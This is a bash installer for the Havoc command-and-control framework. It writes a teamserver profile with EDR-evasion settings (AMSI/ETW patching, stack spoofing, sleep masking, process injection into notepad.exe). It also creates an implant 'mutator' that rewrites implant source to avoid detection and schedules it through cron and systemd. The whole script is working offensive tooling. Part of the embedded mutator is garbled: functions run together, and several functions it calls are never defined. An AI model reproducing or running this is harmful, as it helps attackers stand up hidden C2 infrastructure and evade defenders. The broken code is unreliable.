#!/bin/bash # Enhanced Havoc C2 Framework installer with advanced EDR evasion features # This script automatically randomizes the entire Havoc installation and implants set -e TEMP_DIR=$(mktemp -d) LOG_FILE="/root/Tools/havoc_installer.log" HAVOC_DIR="/root/Tools/Havoc" HAVOC_DATA_DIR="/root/Tools/Havoc/data" HAVOC_CONFIG_FILE="$HAVOC_DATA_DIR/havoc.yaotl" HAVOC_VERSION="0.5.0" HAVOC_GITHUB="https://github.com/HavocFramework/Havoc" COMPILER_URL="http://musl.cc/x86_64-w64-mingw32-cross.tgz" COMPILER_DIR="/usr/bin/x86_64-w64-mingw32-cross" COMPILER_PATH="$COMPILER_DIR/bin/x86_64-w64-mingw32-gcc" IMPLANT_MUTATOR_SCRIPT="$HAVOC_DIR/implant_mutator.sh" # Function to log messages log() { echo "[$(date +"%Y-%m-%d %H:%M:%S")] $1" | tee -a $LOG_FILE } # Function to generate random strings random_string() { local length=${1:-16} cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1 } # Function to generate random domain-like string random_domain() { local tlds=("com" "net" "org" "io" "co" "biz" "info" "dev") local prefix=$(random_string 6) local tld=${tlds[$RANDOM % ${#tlds[@]}]} echo "${prefix}.${tld}" } # Generate random binary signature values RANDOMIZED_BUILD_ID=$(random_string 16) RANDOMIZED_COMPILER_FLAGS="-Os -mllvm -sub -mllvm -fla -mllvm -bcf" RANDOMIZED_VERSION="${HAVOC_VERSION}-${RANDOMIZED_BUILD_ID:0:8}" RANDOMIZED_UA1="Mozilla/5.0 (Windows NT $(( $RANDOM % 4 + 8 )).$(( $RANDOM % 2 + 1 )); Win64; x64) AppleWebKit/$(( $RANDOM % 200 + 500 )).$(( $RANDOM % 50 + 1 ))" RANDOMIZED_UA2="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_$(( $RANDOM % 5 + 10 ))_$(( $RANDOM % 5 + 1 ))) AppleWebKit/$(( $RANDOM % 200 + 500 )).$(( $RANDOM % 50 + 1 ))" # Generate random port numbers TEAMSERVER_PORT=$(( $RANDOM % 20000 + 40000 )) HTTP_PORT=$(( $RANDOM % 20000 + 10000 )) HTTPS_PORT=$(( $RANDOM % 10 + 440 )) # Generate random URI paths (realistic looking) URI_PATHS=() URI_COUNT=$(( $RANDOM % 4 + 3 )) URI_OPTIONS=("/api/v1" "/api/v2" "/dashboard" "/content" "/static" "/assets" "/app" "/data" "/stream" "/ws" "/socket" "/feed" "/updates" "/sync" "/auth") for i in $(seq 1 $URI_COUNT); do RAND_INDEX=$(( $RANDOM % ${#URI_OPTIONS[@]} )) URI_PATHS+=("${URI_OPTIONS[$RAND_INDEX]}") unset 'URI_OPTIONS[$RAND_INDEX]' URI_OPTIONS=("${URI_OPTIONS[@]}") done # Generate random C2 evasion settings SLEEP_TIME=$(( $RANDOM % 10 + 2 )) JITTER_PCT=$(( $RANDOM % 40 + 20 )) SYSCALL_METHOD=$(( $RANDOM % 3 )) SLEEP_MASK_TECHNIQUE=$(( $RANDOM % 4 )) SLEEP_MASK_ENABLED=$(( $RANDOM % 2 )) # Install required dependencies log "Installing dependencies..." apt-get update >/dev/null 2>&1 apt-get install -y git golang-go make build-essential mingw-w64 nasm cmake \ ninja-build python3-pip libfontconfig1 libglu1-mesa-dev libgtest-dev \ libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev \ libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev \ qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 \ libqt5websockets5-dev binutils-dev wget >/dev/null 2>&1 # Setup Go environment log "Setting up Go environment..." mkdir -p /root/go export GOPATH=/root/go export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin # Download and install compiler fix log "Downloading and installing fixed compiler..." if [ ! -d "$COMPILER_DIR" ]; then # Download the compiler wget -q -O /tmp/compiler.tgz $COMPILER_URL # Extract to /usr/bin tar -xzf /tmp/compiler.tgz -C /usr/bin # Verify compiler exists if [ -f "$COMPILER_PATH" ]; then log "Compiler installed successfully at $COMPILER_PATH" chmod +x $COMPILER_PATH else log "Error: Compiler installation failed. File not found at $COMPILER_PATH" fi # Clean up rm -f /tmp/compiler.tgz else log "Compiler already installed at $COMPILER_DIR" fi # Clone Havoc repository log "Cloning Havoc repository..." if [ -d "$HAVOC_DIR" ]; then log "Havoc directory already exists, updating..." cd $HAVOC_DIR git pull else git clone --quiet -b dev $HAVOC_GITHUB $HAVOC_DIR cd $HAVOC_DIR fi # Create data directories mkdir -p $HAVOC_DATA_DIR mkdir -p $HAVOC_DIR/payloads mkdir -p $HAVOC_DIR/payloads/backup # Modify Havoc source for signature randomization log "Modifying Havoc source with unique signature: $RANDOMIZED_BUILD_ID" cd $HAVOC_DIR/teamserver # Randomize version string sed -i "s/const Version = \".*\"/const Version = \"${RANDOMIZED_VERSION}\"/" pkg/common/metadata.go # Build Havoc teamserver with custom compiler flags log "Building customized Havoc teamserver..." export EXTRA_GOFLAGS="-ldflags=-buildid=$(random_string 16)" go build -trimpath -ldflags="-w -s -buildid=$(random_string 16)" -o havoc main.go # Build Havoc client log "Building Havoc client..." cd $HAVOC_DIR/client mkdir -p build cd build cmake -GNinja .. ninja # Generate unique TLS certificates mkdir -p $HAVOC_DATA_DIR/certs cd $HAVOC_DATA_DIR/certs if [ ! -f havoc.key ] || [ ! -f havoc.crt ]; then log "Generating unique TLS certificates..." # Generate random values for certificate COUNTRY_CODES=("US" "GB" "CA" "AU" "DE" "FR" "JP" "SG") COUNTRY=${COUNTRY_CODES[$RANDOM % ${#COUNTRY_CODES[@]}]} STATE=$(random_string 8) LOCALITY=$(random_string 8) ORGANIZATION=$(random_string 10) COMMON_NAME=$(random_domain) # Create OpenSSL config cat > openssl.cnf << EOF [req] distinguished_name = req_distinguished_name x509_extensions = v3_req prompt = no default_bits = 4096 [req_distinguished_name] C = $COUNTRY ST = $STATE L = $LOCALITY O = $ORGANIZATION CN = $COMMON_NAME [v3_req] keyUsage = critical, digitalSignature, keyAgreement, keyEncipherment extendedKeyUsage = serverAuth, clientAuth subjectAltName = @alt_names basicConstraints = critical, CA:false subjectKeyIdentifier = hash authorityKeyIdentifier = keyid:always nsCertType = server [alt_names] DNS.1 = $COMMON_NAME DNS.2 = $(random_domain) DNS.3 = localhost IP.1 = 127.0.0.1 EOF # Generate certificate with 4096-bit key openssl req -x509 -newkey rsa:4096 -keyout havoc.key -out havoc.crt -days 3650 -nodes -config openssl.cnf -sha384 chmod 600 havoc.key chmod 644 havoc.crt log "Generated unique TLS certificates with CN=$COMMON_NAME" fi # Generate randomized admin credentials ADMIN_USER=$(random_string 6) ADMIN_PASS=$(random_string 24) # Create unique Havoc profile with randomized settings and fixed compiler path log "Creating unique Havoc profile..." cat > $HAVOC_CONFIG_FILE << EOF Teamserver { Host = "0.0.0.0" Port = $TEAMSERVER_PORT Build { Compiler64 = "$COMPILER_PATH" Compiler86 = "$COMPILER_PATH" Nasm = "/usr/bin/nasm" CompilerFlags = "$RANDOMIZED_COMPILER_FLAGS" } } Operators { $ADMIN_USER { Password = "$ADMIN_PASS" } } Listeners { http { Name = "http" KillDate = "2030-01-01" WorkingHours = "0:00-23:59" Hosts = ["0.0.0.0"] HostBind = "0.0.0.0" HostRotation = "round-robin" Port = $HTTP_PORT PortBind = $HTTP_PORT UserAgent = "$RANDOMIZED_UA1" Headers = ["Accept: */*", "Accept-Language: en-US,en;q=0.9"] Uris = [ $(printf '"%s",' "${URI_PATHS[@]}" | sed 's/,$//') ] Secure = false } https { Name = "https" KillDate = "2030-01-01" WorkingHours = "0:00-23:59" Hosts = ["0.0.0.0"] HostBind = "0.0.0.0" HostRotation = "round-robin" Port = $HTTPS_PORT PortBind = $HTTPS_PORT UserAgent = "$RANDOMIZED_UA2" Headers = ["Accept: */*", "Accept-Language: en-US,en;q=0.9"] Uris = [ $(printf '"%s",' "${URI_PATHS[@]}" | sed 's/,$//') ] Secure = true Cert = "$HAVOC_DATA_DIR/certs/havoc.crt" Key = "$HAVOC_DATA_DIR/certs/havoc.key" } } Demon { Sleep = $SLEEP_TIME SleepJitter = $JITTER_PCT IndirectSyscalls = true Injection { Spawn64 = "C:\\Windows\\System32\\notepad.exe" Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe" } Evasion { StackSpoofing = true SleazeUnhook = true AmsiEtwPatching = true SyscallMethod = $SYSCALL_METHOD EnableSleepMask = true SleepMaskTechnique = $SLEEP_MASK_TECHNIQUE } } EOF # Create implant mutator script log "Creating implant mutator script..." cat > "$IMPLANT_MUTATOR_SCRIPT" << 'EOF' #!/bin/bash # Havoc Implant Mutation Tool # Randomizes critical implant signatures to avoid detection # === CONFIG === HAVOC_ROOT="${HAVOC_ROOT:-$HOME/Tools/Havoc}" IMPLANT_DIR="$HAVOC_ROOT/payloads/Demon" SRC_DIR="$IMPLANT_DIR/src" OUTPUT_DIR="$HAVOC_ROOT/payloads" OUTPUT_FILE="$OUTPUT_DIR/Shellcode.x64.bin" BACKUP_DIR="$OUTPUT_DIR/backup" TIMESTAMP=$(date +"%Y%m%d_%H%M%S") CONFIG_BACKUP="$BACKUP_DIR/havoc_config_$TIMESTAMP.bak" LOG_FILE="$OUTPUT_DIR/mutation_$TIMESTAMP.log" # === ADVANCED OPTIONS === RANDOMIZE_STRINGS=true # Randomize identifiers RANDOMIZE_FUNCTIONS=true # Randomize function names RANDOMIZE_IMPORTS=true # Randomize import tables RANDOMIZE_SECTIONS=true # Randomize PE section names RANDOMIZE_RESOURCES=true # Randomize resource values ADD_JUNK_CODE=true # Add harmless junk code ADD_STACK_STRINGS=true # Use stack strings for sensitive strings # === COLORS === RED='\033[1;31m' YELLOW='\033[1;33m' GREEN='\033[1;32m' BLUE='\033[1;34m' NC='\033[0m' # === UTILITY FUNCTIONS === log() { echo -e "$1" | tee -a "$LOG_FILE" } random_str() { local length=${1:-12} tr -dc 'A-Za-z0-9' > "$C_FILE" # Add junk global variable local JUNK_VAR="static const char* $(random_plausible)_str = \"$(random_str 16)\";" sed -i "1s/^/$JUNK_VAR\n/" "$C_FILE" log "${GREEN}[✓] Added junk code to ${C_FILE}${NC}" fi done if ! $FOUND; then log "${YELLOW}[!] No C files found to add junk code.${NC}" fi } randomize_function_names() { if ! $RANDOMIZE_FUNCTIONS; then return fi local H_FILES=$(find "$SRC_DIR" -name "*.h") local FOUND=false for H_FILE in $H_FILES; do if [[ -f "$H_FILE" && $(basename "$H_FILE") != "Common.h" && $(basename "$H_FILE") != "Native.h" ]]; then FOUND=true # Get function declarations local FUNCTIONS=$(grep -E "VOID [A-Za-z0-9_]+\(" "$H_FILE" | grep -v "KERNEL" | grep -v "WINAPI" | awk '{print $2}' | cut -d'(' -f1) for FUNC in $FUNCTIONS; do if [[ "$FUNC" != "main" && "$FUNC" != "DllMain" && ! "$FUNC" =~ ^DemOn ]]; then local NEW_FUNC="${FUNC}_$(random_str 4)" # Replace in header file sed -i "s/\<$FUNC\>/$NEW_FUNC/g" "$H_FILE" # Find and replace in all .c files find "$SRC_DIR" -name "*.c" -exec sed -i "s/\<$FUNC\>/$NEW_FUNC/g" {} \; log "${BLUE}[i] Renamed function: $FUNC → $NEW_FUNC${NC}" fi done fi done if ! $FOUND; then log "${YELLOW}[!] No header files found to randomize function names.${NC}" fi } # === BUILD FUNCTION === rebuild_implant() { log "${YELLOW}[+] Rebuilding Havoc payload...${NC}" # Check if we should use make from the project root if [ -f "$HAVOC_ROOT/Makefile" ]; then cd "$HAVOC_ROOT" || exit 1 make clean >/dev/null 2>&1 make >/dev/null 2>&1 if [ $? -ne 0 ]; then log "${RED}[!] Build failed at project root level${NC}" return 1 fi # Otherwise try to build just the implant elif [ -f "$IMPLANT_DIR/Makefile" ]; then cd "$IMPLANT_DIR" || exit 1 make clean >/dev/null 2>&1 make >/dev/null 2>&1 if [ $? -ne 0 ]; then log "${RED}[!] Build failed at implant level${NC}" return 1 fi else log "${RED}[!] No Makefile found to build the implant${NC}" return 1 fi # Verify the shellcode was generated if [[ -f "$OUTPUT_FILE" ]]; then log "${GREEN}[✓] Build successful! New shellcode generated at: $OUTPUT_FILE${NC}" # Calculate hash for verification local NEW_HASH=$(sha256sum "$OUTPUT_FILE" | cut -d' ' -f1) log "${GREEN}[✓] New shellcode hash: ${NEW_HASH}${NC}" # Optional: Compare with previous hash if a backup exists local BACKUP_FILE="$BACKUP_DIR/implant_$TIMESTAMP.raw" if [[ -f "$BACKUP_FILE" ]]; then local OLD_HASH=$(sha256sum "$BACKUP_FILE" | cut -d' ' -f1) if [[ "$NEW_HASH" != "$OLD_HASH" ]]; then log "${GREEN}[✓] Verified: Shellcode has been successfully mutated${NC}" else log "${YELLOW}[!] Warning: New shellcode hash matches old hash${NC}" fi fi return 0 else log "${RED}[!] Build failed or shellcode was not generated at expected location: $OUTPUT_FILE${NC}" return 1 fi } # === AUTO-SCHEDULING FUNCTION === setup_auto_mutation() { local SCRIPT_PATH=$(realpath "$0") local CRON_ENTRY="0 */6 * * * $SCRIPT_PATH > /dev/null 2>&1" # Check if already in crontab if crontab -l 2>/dev/null | grep -q "$SCRIPT_PATH"; then log "${YELLOW}[!] Auto-mutation already scheduled in crontab${NC}" return fi # Add to crontab (crontab -l 2>/dev/null || echo "") | echo "$CRON_ENTRY" | crontab - if [ $? -eq 0 ]; then log "${GREEN}[✓] Auto-mutation scheduled for every 6 hours${NC}" else log "${RED}[!] Failed to schedule auto-mutation${NC}" fi } # === MAIN EXECUTION === main() { # Create directories mkdir -p "$BACKUP_DIR" mkdir -p "$OUTPUT_DIR" # Start log file echo "=== Havoc Implant Mutation Log - $TIMESTAMP ===" > "$LOG_FILE" log "${BLUE}════════════════════════════════════════════${NC}" log "${BLUE} Havoc Implant Mutation Tool v1.0 ${NC}" log "${BLUE}════════════════════════════════════════════${NC}" # Check for Havoc installation if [ ! -d "$HAVOC_ROOT" ]; then log "${RED}[!] Havoc root directory not found at: $HAVOC_ROOT${NC}" log "${YELLOW}[!] Use HAVOC_ROOT=/path/to/havoc $0 to specify location${NC}" exit 1 fi # Backup everything first log "${YELLOW}[+] Backing up current implant and source files...${NC}" backup_sources # Start mutations log "${YELLOW}[+] Starting implant mutations...${NC}" # Apply all mutation types mutate_transport_http mutate_named_resources mutate_memory_strings mutate_config_file # Advanced mutations if $ADD_JUNK_CODE; then add_junk_code fi if $RANDOMIZE_FUNCTIONS; then randomize_function_names fi # Rebuild the implant rebuild_implant # Show completion summary log "${BLUE}════════════════════════════════════════════${NC}" log "${GREEN}[✓] Implant mutation completed successfully!${NC}" log "${GREEN}[✓] Backup saved to: ${BACKUP_DIR}${NC}" log "${GREEN}[✓] Log file: ${LOG_FILE}${NC}" log "${BLUE}════════════════════════════════════════════${NC}" # Ask about auto-scheduling if [ -t 0 ]; then # Only if running interactively read -p "Would you like to set up automatic mutation every 6 hours? (y/n): " SETUP_AUTO if [ "$SETUP_AUTO" = "y" ]; then setup_auto_mutation fi fi } # Parse command line arguments while [[ $# -gt 0 ]]; do case $1 in --auto-schedule) setup_auto_mutation exit 0 ;; --no-junk) ADD_JUNK_CODE=false shift ;; --no-functions) RANDOMIZE_FUNCTIONS=false shift ;; --config-only) # Only modify the config file mkdir -p "$BACKUP_DIR" backup_sources mutate_config_file exit 0 ;; --help) echo "Usage: $0 [options]" echo "Options:" echo " --auto-schedule Setup automatic mutation via crontab" echo " --no-junk Don't add junk code to source files" echo " --no-functions Don't randomize function names" echo " --config-only Only modify the configuration file" echo " --help Show this help message" echo "" echo "Environment variables:" echo " HAVOC_ROOT Path to Havoc installation (default: $HOME/Tools/Havoc)" exit 0 ;; *) echo "Unknown option: $1" echo "Use --help for usage information" exit 1 ;; esac done # Execute main logic main EOF chmod +x "$IMPLANT_MUTATOR_SCRIPT" # Save the randomization details for other scripts to use mkdir -p $HAVOC_DIR/config cat > $HAVOC_DIR/config/profile.json << EOF { "build_id": "$RANDOMIZED_BUILD_ID", "version": "$RANDOMIZED_VERSION", "teamserver_port": $TEAMSERVER_PORT, "http_port": $HTTP_PORT, "https_port": $HTTPS_PORT, "admin_user": "$ADMIN_USER", "admin_pass": "$ADMIN_PASS", "sleep_time": $SLEEP_TIME, "jitter_percent": $JITTER_PCT, "syscall_method": $SYSCALL_METHOD, "sleep_mask_enabled": true, "sleep_mask_technique": $SLEEP_MASK_TECHNIQUE, "uri_paths": [$(printf '"%s",' "${URI_PATHS[@]}" | sed 's/,$//')], "user_agent_http": "$RANDOMIZED_UA1", "user_agent_https": "$RANDOMIZED_UA2", "compiler_path": "$COMPILER_PATH", "config_path": "$HAVOC_CONFIG_FILE", "created_at": "$(date -u +"%Y-%m-%dT%H:%M:%SZ")" } EOF # Create systemd service for Havoc log "Creating systemd service for Havoc Teamserver..." cat > /etc/systemd/system/havoc.service << EOF [Unit] Description=Advanced Security Service After=network.target [Service] Type=simple User=root Group=root WorkingDirectory=$HAVOC_DIR/teamserver ExecStart=$HAVOC_DIR/teamserver/havoc server -d Restart=always RestartSec=10 # Security measures PrivateTmp=true ProtectHome=false NoNewPrivileges=true [Install] WantedBy=multi-user.target EOF # Create an auto-mutation service cat > /etc/systemd/system/havoc-mutator.service << EOF [Unit] Description=Havoc Implant Auto-Mutation Service After=havoc.service [Service] Type=oneshot User=root Group=root ExecStart=$IMPLANT_MUTATOR_SCRIPT Environment="HAVOC_ROOT=$HAVOC_DIR" EOF # Create an auto-mutation timer cat > /etc/systemd/system/havoc-mutator.timer << EOF [Unit] Description=Run Havoc implant mutation every 12 hours [Timer] OnBootSec=1h OnUnitActiveSec=12h Persistent=true [Install] WantedBy=timers.target EOF # Set proper permissions log "Setting proper permissions..." chmod 755 $HAVOC_DIR/teamserver/havoc chmod 755 $HAVOC_DIR/client/havoc chmod 600 $HAVOC_CONFIG_FILE chmod 600 $HAVOC_DIR/config/profile.json # Create symlinks to executables in /usr/local/bin ln -sf $HAVOC_DIR/teamserver/havoc /usr/local/bin/havoc-server ln -sf $HAVOC_DIR/client/havoc /usr/local/bin/havoc-client ln -sf $IMPLANT_MUTATOR_SCRIPT /usr/local/bin/havoc-mutate # Run the implant mutator as part of installation log "Running initial implant mutation..." $IMPLANT_MUTATOR_SCRIPT --no-functions # Enable and start Havoc service log "Enabling and starting Havoc service..." systemctl daemon-reload systemctl enable havoc systemctl start havoc # Enable the mutation timer systemctl enable havoc-mutator.timer systemctl start havoc-mutator.timer log "Havoc C2 installation completed with unique signatures and implant randomization!" log "===== IMPORTANT CREDENTIALS =====" log "Admin User: $ADMIN_USER" log "Admin Password: $ADMIN_PASS" log "Teamserver Port: $TEAMSERVER_PORT" log "HTTP Listener Port: $HTTP_PORT" log "HTTPS Listener Port: $HTTPS_PORT" log "Config File: $HAVOC_CONFIG_FILE" log "All settings saved to: $HAVOC_DIR/config/profile.json" log "Compiler Path: $COMPILER_PATH" # Create a reminder for using the dev branch cat > $HAVOC_DIR/README.md << EOF # Havoc C2 Framework (Dev Branch) This is an installation of the Havoc C2 Framework using the **dev branch** with enhanced randomization. ## Important Information - **Admin User:** $ADMIN_USER - **Admin Password:** $ADMIN_PASS - **Teamserver Port:** $TEAMSERVER_PORT - **Config File:** $HAVOC_CONFIG_FILE ## Starting the Server The server can be started with: \`\`\` $HAVOC_DIR/teamserver/havoc server -d \`\`\` ## Implant Mutation To randomize implant signatures and avoid detection, use the implant mutator: \`\`\` havoc-mutate # Run manual mutation havoc-mutate --auto-schedule # Setup automated mutations havoc-mutate --config-only # Only modify configuration values \`\`\` The system is configured to automatically mutate implants every 12 hours via systemd timer. ## Enhanced Security Features This installation includes: - Shellcode randomization - Implant signature randomization - Memory allocation/execution randomization - Stack spoofing and sleep masking - Indirect syscalls - Binary obfuscation techniques - Automated implant mutation ## Compiler Information Using custom MinGW compiler from: $COMPILER_PATH EOF log "Installation completed successfully!"